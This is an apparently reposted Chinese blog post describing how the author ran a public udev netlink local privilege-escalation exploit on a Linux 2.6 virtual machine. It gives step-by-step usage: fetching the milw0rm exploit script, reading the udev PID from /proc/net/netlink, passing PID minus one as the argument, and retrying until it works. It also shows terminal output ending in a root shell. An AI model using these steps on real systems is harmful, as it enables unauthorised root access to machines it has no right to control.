来源:职业欠钱
这段时间UDEV溢出漏洞很火,在虚拟机上做了下试验,发现确实很好用。
貌似通杀范围很广
1. 将http://www.milw0rm.com/exploits/8478 保存为一个shell文件,也可以随便命名,例如我后面命名为a
2. 查找udev的第一个socket的PID,可以通过执行如下命令获得:
cat /proc/net/netlink
3. 将出现在第一行的PID减去1,作为参数,例如
sk Eth Pid Groups Rmem Wmem Dump Locks
cfe9ce00 0 0 00000000 0 0 00000000
这个PID是0,减去1后得到-1
4. sh a -1 (如果失败了,多执行几次)
下面是一次成功的演示(我失败了N次,本来以为系统不受影响的,后来听说2.6内核的都受影响,所以多尝试了几次,忽然间看到一个可爱的#,激动)
bt tmp $ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
cfe9ce00 0 0 00000000 0 0 00000000 2
cf8f3800 6 0 00000000 0 0 00000000 2
cfa96400 8 0 00000000 0 0 00000000 2
cfe13000 10 0 00000000 0 0 00000000 2
cff57c00 12 0 00000000 0 0 00000000 2
cfe9cc00 15 0 00000000 0 0 00000000 2
cff57600 15 1060 00000001 0 0 00000000 2
c12a3000 16 0 00000000 0 0 00000000 2
c12a3200 18 0 00000000 0 0 00000000 2
bt tmp $ sh a -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/lib/gcc/i486-slackware-linux/4.1.2/../../../../i486-slackware-linux/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.1# id
uid=0(root) gid=0(root) groups=10(wheel)
sh-3.1# uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) Dual CPU E2140 @ 1.60GHz GenuineIntel GNU/Linux
------------------------郁闷的分割线----------------------------------------------------------------------
后来又反复测试了几十次,才能够再成功一次。
bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1$ exit -----------> 又失败了
exit
bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# ---------------> 成功